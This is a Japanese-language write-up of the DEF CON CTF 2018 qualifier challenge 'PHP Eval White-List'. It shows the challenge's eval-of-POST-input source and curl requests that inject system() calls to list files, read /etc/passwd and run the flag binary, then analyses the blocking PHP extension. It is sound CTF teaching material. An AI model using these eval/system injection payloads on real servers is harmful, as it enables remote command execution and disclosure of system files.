DEF CON CTF Qualifier 2018 - PHP Eval White-List
問題文
PHP was dangerous, so we've fixed it! http://c67f8ffd.quals2018.oooverflow.io Files: websec_eval_wl.so
writeup
画面入力したパラメータをevalで実行するPHPが公開されている。
そのまま実行するとこうなる。
ダウンロード可能なファイルは、以下2つ。
- websec_eval_wl.so
- source.txt
source.txtは以下の通り。
<!DOCTYPE html> <html> <head> <title>php as a service</title> <link rel='stylesheet' href='bootstrap.min.css' /> </head> <body> <div id='main'> <div class='container'> <div class='row'> <h1>PHP<small> - Custom <code>eval</code> whitelisting!</small></h1> </div> <div class='row'> <p class='lead'> PHP is dangerous, so we wrote a <a href="./websec_eval_wl.so">custom php extension</a> to improve its security. We're also taking advantage of the <a href="https://secure.php.net/manual/en/ini.core.php#ini.open-basedir">open_basedir</a> directive to prevent you from accessing the <code>flag</code> binary up the current folder. You can check the source of the page <a href='./source.php'>here</a>. </p> </div> </div> <div class='container '> <div class='row '> <form action='' method='post' class="form-inline"> <div class="form-group"> <div class="input-group"> <div class="input-group-addon">Code to eval</div> <input type='text' name='d' id='d' class="form-control" value='printf(1+1);'> <br> </div> </div> <div class="form-group"> <input type='submit' value='Run!' class="btn btn-default" name='submit'> </div> </form> </div> </div> <br/> <div class='container'> <p class="well"> <?php if (isset($_POST['d'])) { eval($_POST['d']); } else { echo 'Can you execute the <code>./flag</code> binary?'; }?> </p> </div> </div> </body> </html>
websec_eval_wl.soは、evalが実行可能な関数をチェックをしていると思われる。
画面入力では効率が悪いので、curlコマンドで実行。
ctfuser@kali:PHP Eval White-List$ curl http://c67f8ffd.quals2018.oooverflow.io/ --data-urlencode 'd=printf(1+1);' <!DOCTYPE html> <html> <head> <title>php as a service</title> <link rel='stylesheet' href='bootstrap.min.css' /> </head> <body> <div id='main'> <div class='container'> <div class='row'> <h1>PHP<small> - Custom <code>eval</code> whitelisting!</small></h1> </div> <div class='row'> <p class='lead'> PHP is dangerous, so we wrote a <a href="./websec_eval_wl.so">custom php extension</a> to improve its security. We're also taking advantage of the <a href="https://secure.php.net/manual/en/ini.core.php#ini.open-basedir">open_basedir</a> directive to prevent you from accessing the <code>flag</code> binary up the current folder. You can check the source of the page <a href='./source.txt'>here</a>. </p> </div> </div> <div class='container '> <div class='row '> <form action='' method='post' class="form-inline"> <div class="form-group"> <div class="input-group"> <div class="input-group-addon">Code to eval</div> <input type='text' name='d' id='d' class="form-control" value='printf(1+1);'> <br> </div> </div> <div class="form-group"> <input type='submit' value='Run!' class="btn btn-default" name='submit'> </div> </form> </div> </div> <br/> <div class='container'> <p class="well"> 2 </p> </div> </div> </body> </html>
試しに、system関数を使う。
ctfuser@kali:PHP Eval White-List$ curl http://c67f8ffd.quals2018.oooverflow.io/ --data-urlencode 'd=system("ls -la");' <!DOCTYPE html> <html> <head> <title>php as a service</title> <link rel='stylesheet' href='bootstrap.min.css' /> </head> <body> <div id='main'> <div class='container'> <div class='row'> <h1>PHP<small> - Custom <code>eval</code> whitelisting!</small></h1> </div> <div class='row'> <p class='lead'> PHP is dangerous, so we wrote a <a href="./websec_eval_wl.so">custom php extension</a> to improve its security. We're also taking advantage of the <a href="https://secure.php.net/manual/en/ini.core.php#ini.open-basedir">open_basedir</a> directive to prevent you from accessing the <code>flag</code> binary up the current folder. You can check the source of the page <a href='./source.txt'>here</a>. </p> </div> </div> <div class='container '> <div class='row '> <form action='' method='post' class="form-inline"> <div class="form-group"> <div class="input-group"> <div class="input-group-addon">Code to eval</div> <input type='text' name='d' id='d' class="form-control" value='printf(1+1);'> <br> </div> </div> <div class="form-group"> <input type='submit' value='Run!' class="btn btn-default" name='submit'> </div> </form> </div> </div> <br/> <div class='container'> <p class="well"> total 168 drwxr-xr-x 3 root root 4096 May 12 18:10 . drwxr-xr-x 3 root root 4096 May 11 16:29 .. -rw-r--r-- 1 root root 108376 May 5 04:58 bootstrap.min.css -rw-r--r-- 1 root root 1672 May 12 18:09 index.php -rw-r--r-- 1 root root 155 May 5 04:58 source.php -rw-r--r-- 1 root root 1672 May 12 18:09 source.txt d-wx-wx-wx 2 root root 4096 May 13 00:45 tmp -rw-r--r-- 1 root root 33784 May 5 04:58 websec_eval_wl.so </p> </div> </div> </body> </html>
あれ、通るぞ・・・。
ただ、親ディレクトリはlsで見れない。
ctfuser@kali:PHP Eval White-List$ curl http://c67f8ffd.quals2018.oooverflow.io/ --data-urlencode 'd=system("ls -la ../");' (snip) <div class='container'> <p class="well"> </p> </div> </div> </body> </html>
他のディレクトリもlsでは見れない。
ctfuser@kali:PHP Eval White-List$ curl http://c67f8ffd.quals2018.oooverflow.io/ --data-urlencode 'd=system("ls -la /etc");' (snip) <div class='container'> <p class="well"> </p> </div> </div> </body> </html>
しかし、ファイル名を直接指定すれば見れる。中身も見れる。
単にディレクトリのパーミッションに"r"がついていないだけか?
ctfuser@kali:PHP Eval White-List$ curl http://c67f8ffd.quals2018.oooverflow.io/ --data-urlencode 'd=system("ls -la /etc/passwd");' (snip) <div class='container'> <p class="well"> -rw-r--r-- 1 root root 1964 May 6 18:38 /etc/passwd </p> </div> </div> </body> </html>
lsが使えないが、問題文をヒントに探索していると、親ディレクトリにflag発見。
ctfuser@kali:PHP Eval White-List$ curl http://c67f8ffd.quals2018.oooverflow.io/ --data-urlencode 'd=system("ls -la ../flag");' (snip) <div class='container'> <p class="well"> ---x--x--x 1 root root 8600 May 11 16:29 ../flag </p> </div> </div> </body> </html>
実行したらフラグゲット。あれ、こんな単純でいいのだろうか・・・。
ctfuser@kali:PHP Eval White-List$ curl http://c67f8ffd.quals2018.oooverflow.io/ --data-urlencode 'd=system("../flag");' (snip) <div class='container'> <p class="well"> OOO{Fortunately_php_has_some_rock_solid_defense_in_depth_mecanisms,_so-everything_is_fine.} </p> </div> </div> </body> </html>
ちなみに画面実行するとこうなる。
補足
websec_eval_wl.soとはいったい何だったのか。気になったので少し調べる。
stringsをかける。
ctfuser@kali:PHP Eval White-List$ strings websec_eval_wl.so (snip) API20151012,NTS printf strlen The function '%s' isn't in the eval whitelist, dropping its call. ;*3$" GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.9) 5.4.0 20160609 .fmt (snip)
やはり何かの関数を弾いている。
実行してみることにする。
あらかじめwebsec_eval_wl.soを拡張モジュールの格納ディレクトリにコピーしておく。
ctfuser@kali:PHP Eval White-List$ ll /usr/lib/php/20151012/websec_eval_wl.so -rwxrwxrwx 1 root root 33784 5月 13 08:43 /usr/lib/php/20151012/websec_eval_wl.so
拡張モジュールのインターフェースを確認。
ctfuser@kali:~$ php7.0 -dextension=websec_eval_wl.so --re websec_eval_wl Extension [ <persistent> extension #45 websec_eval_wl version 1.0 ] { }
拡張モジュールをロードしてインタラクティブモードで起動してevalを実行。evalにsystem関数は通らない。
ctfuser@kali:PHP Eval White-List$ php7.0 -dextension=websec_eval_wl.so -a Interactive mode enabled php > eval('system("echo hoge");'); The function 'system' isn't in the eval whitelist, dropping its call.
拡張モジュールをロードせずにインタラクティブモードで起動してevalを実行すれば通る。
やはりwebsec_eval_wl.soが弾いている。
ctfuser@kali:PHP Eval White-List$ php7.0 -a Interactive mode enabled php > eval('system("echo hoge");'); hoge
出題サイトでsystem関数が普通に使えたのは何だったのだろうか。設定ミスだろうか。